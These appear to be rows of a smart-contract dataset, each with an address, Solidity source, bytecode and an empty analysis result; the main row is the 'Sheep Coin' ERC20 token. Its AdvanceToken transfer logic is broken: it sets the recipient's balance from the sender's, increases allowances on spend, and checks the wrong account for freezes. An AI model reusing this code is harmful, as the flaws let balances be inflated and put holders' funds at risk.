906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b1057600080fd5b611b1981611d11565b50565b600080838311151515611b2e57600080fd5b82840390508091505092915050565b6000808284019050838110151515611b5457600080fd5b8091505092915050565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111151515611bab57600080fd5b611bfc816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1c90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c5381600254611b1c90919063ffffffff16565b6002819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611d4d57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a72305820a924cc0ef829f44e73403ad3736e29306cf9a9650ae95fc83eae688c2e6647390029 | {"success": true, "error": null, "results": {}} | 934 |
0xc3f1581c94a0c592a99595d2a55ba4b1f3d6e8cc | pragma solidity ^0.4.18;
/**
* create by Edison zhu
* Add, subtract, multiply and divide using safe calculation
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* Contract administrator can suspend the contract in an emergency and stop the transfer
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
*
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
*
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
/**
* @title Capped token
* @dev Mintable token with a token cap.
*/
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
/**
* @dev function 계약 일시 중지
*/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
/**
* @dev function 일괄 전송
*/
function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) {
uint receiverCount = _receivers.length;
uint256 amount = _value.mul(uint256(receiverCount));
/* require(receiverCount > 0 && receiverCount <= 20); */
require(receiverCount > 0);
require(_value > 0 && balances[msg.sender] >= amount);
balances[msg.sender] = balances[msg.sender].sub(amount);
for (uint i = 0; i < receiverCount; i++) {
balances[_receivers[i]] = balances[_receivers[i]].add(_value);
Transfer(msg.sender, _receivers[i], _value);
}
return true;
}
}
/**
* 호출자가 손에있는 토큰을 파괴하면 총 토큰의 양이 그에 따라 줄어 듭니다.
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract AdvanceToken is StandardToken,Ownable{
mapping (address => bool) public frozenAccount;
//계정 잠금
event FrozenFunds(address target, bool frozen);
function freezeAccount(address target, bool freeze) public onlyOwner{
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function _transfer(address _from, address _to, uint256 _value) internal returns (bool) {
require(_to != address(0));
require(!frozenAccount[msg.sender]);
require(balances[_from] >= _value);
require(balances[ _to].add(_value) >= balances[ _to]);
balances[_from] =balances[_from].sub(_value);
balances[_to] =balances[_from].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(allowed[_from][msg.sender] >= _value);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
success = _transfer(_from, _to, _value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].add(_value);
}
}
contract SHPToken is CappedToken, PausableToken, BurnableToken,AdvanceToken {
string public constant name = "Sheep Coin";
string public constant symbol = "SHEEP";
uint8 public constant decimals = 18;
uint256 private constant TOKEN_CAP = 1 * (10 ** uint256(decimals));
uint256 private constant TOKEN_INITIAL = 500000000 * (10 ** uint256(decimals));
function SHPToken() public CappedToken(TOKEN_CAP) {
totalSupply_ = TOKEN_INITIAL;
balances[msg.sender] = TOKEN_INITIAL;
emit Transfer(address(0), msg.sender, TOKEN_INITIAL);
paused = true;
}
} | 0x60806040526004361061013e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461014357806306fdde0314610172578063095ea7b31461020257806318160ddd1461026757806323b872dd14610292578063313ce56714610317578063355274ea146103485780633f4ba83a1461037357806340c10f191461038a57806342966c68146103ef5780635c975abb1461041c578063661884631461044b57806370a08231146104b05780637d64bcb41461050757806383f12fec146105365780638456cb59146105be5780638da5cb5b146105d557806395d89b411461062c578063a9059cbb146106bc578063b414d4b614610721578063d73dd6231461077c578063dd62ed3e146107e1578063e724529c14610858578063f2fde38b146108a7575b600080fd5b34801561014f57600080fd5b506101586108ea565b604051808215151515815260200191505060405180910390f35b34801561017e57600080fd5b506101876108fd565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c75780820151818401526020810190506101ac565b50505050905090810190601f1680156101f45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020e57600080fd5b5061024d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610936565b604051808215151515815260200191505060405180910390f35b34801561027357600080fd5b5061027c610966565b6040518082815260200191505060405180910390f35b34801561029e57600080fd5b506102fd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610970565b604051808215151515815260200191505060405180910390f35b34801561032357600080fd5b5061032c610bd2565b604051808260ff1660ff16815260200191505060405180910390f35b34801561035457600080fd5b5061035d610bd7565b6040518082815260200191505060405180910390f35b34801561037f57600080fd5b50610388610bdd565b005b34801561039657600080fd5b506103d5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c9d565b604051808215151515815260200191505060405180910390f35b3480156103fb57600080fd5b5061041a60048036038101908080359060200190929190505050610d4e565b005b34801561042857600080fd5b50610431610f06565b604051808215151515815260200191505060405180910390f35b34801561045757600080fd5b50610496600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f19565b604051808215151515815260200191505060405180910390f35b3480156104bc57600080fd5b506104f1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f49565b6040518082815260200191505060405180910390f35b34801561051357600080fd5b5061051c610f91565b604051808215151515815260200191505060405180910390f35b34801561054257600080fd5b506105a46004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190929190505050611059565b604051808215151515815260200191505060405180910390f35b3480156105ca57600080fd5b506105d36112f3565b005b3480156105e157600080fd5b506105ea6113b4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561063857600080fd5b506106416113da565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610681578082015181840152602081019050610666565b50505050905090810190601f1680156106ae5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156106c857600080fd5b50610707600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611413565b604051808215151515815260200191505060405180910390f35b34801561072d57600080fd5b50610762600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611443565b604051808215151515815260200191505060405180910390f35b34801561078857600080fd5b506107c7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611463565b604051808215151515815260200191505060405180910390f35b3480156107ed57600080fd5b50610842600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611493565b6040518082815260200191505060405180910390f35b34801561086457600080fd5b506108a5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080351515906020019092919050505061151a565b005b3480156108b357600080fd5b506108e8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611640565b005b600360149054906101000a900460ff1681565b6040805190810160405280600a81526020017f536865657020436f696e0000000000000000000000000000000000000000000081525081565b6000600560009054906101000a900460ff1615151561095457600080fd5b61095e8383611717565b905092915050565b6000600154905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156109fd57600080fd5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610a5657600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610aaf57600080fd5b610aba848484611809565b9050610b4b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1f90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055509392505050565b601281565b60045481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c3957600080fd5b600560009054906101000a900460ff161515610c5457600080fd5b6000600560006101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cfb57600080fd5b600360149054906101000a900460ff16151515610d1757600080fd5b600454610d2f83600154611b1f90919063ffffffff16565b11151515610d3c57600080fd5b610d468383611b3d565b905092915050565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610d9d57600080fd5b339050610df1826000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2390919063ffffffff16565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e4882600154611d2390919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600560009054906101000a900460ff1681565b6000600560009054906101000a900460ff16151515610f3757600080fd5b610f418383611d3c565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fef57600080fd5b600360149054906101000a900460ff1615151561100b57600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600080600080600560009054906101000a900460ff1615151561107b57600080fd5b855192506110928386611fcd90919063ffffffff16565b91506000831115156110a357600080fd5b6000851180156110f15750816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b15156110fc57600080fd5b61114d826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2390919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600090505b828110156112e6576112048560008089858151811015156111b157fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1f90919063ffffffff16565b600080888481518110151561121557fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550858181518110151561126b57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a38080600101915050611194565b6001935050505092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561134f57600080fd5b600560009054906101000a900460ff1615151561136b57600080fd5b6001600560006101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600581526020017f534845455000000000000000000000000000000000000000000000000000000081525081565b6000600560009054906101000a900460ff1615151561143157600080fd5b61143b8383612008565b905092915050565b60066020528060005260406000206000915054906101000a900460ff1681565b6000600560009054906101000a900460ff1615151561148157600080fd5b61148b8383612227565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561157657600080fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561169c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156117145780600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561184657600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561189f57600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156118ec57600080fd5b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461197c836000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1f90919063ffffffff16565b1015151561198957600080fd5b6119da826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2390919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a6d826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1f90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000808284019050838110151515611b3357fe5b8091505092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b9b57600080fd5b600360149054906101000a900460ff16151515611bb757600080fd5b611bcc82600154611b1f90919063ffffffff16565b600181905550611c23826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1f90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000828211151515611d3157fe5b818303905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611e4d576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ee1565b611e608382611d2390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000806000841415611fe25760009150612001565b8284029050828482811515611ff357fe5b04141515611ffd57fe5b8091505b5092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561204557600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561209257600080fd5b6120e3826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2390919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612176826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1f90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006122b882600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1f90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a360019050929150505600a165627a7a723058208036dbb4df1cd9fefdbb70e2df42c96e14c5cd0cb56be7d8a27edcf3683b4df90029 | {"success": true, "error": null, "results": {}} | 935 |
0x3cb56ae8b92dc4b2f62f32487bee348ceb2a26c2 | /**
*Submitted for verification at Etherscan.io on 2022-04-12
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
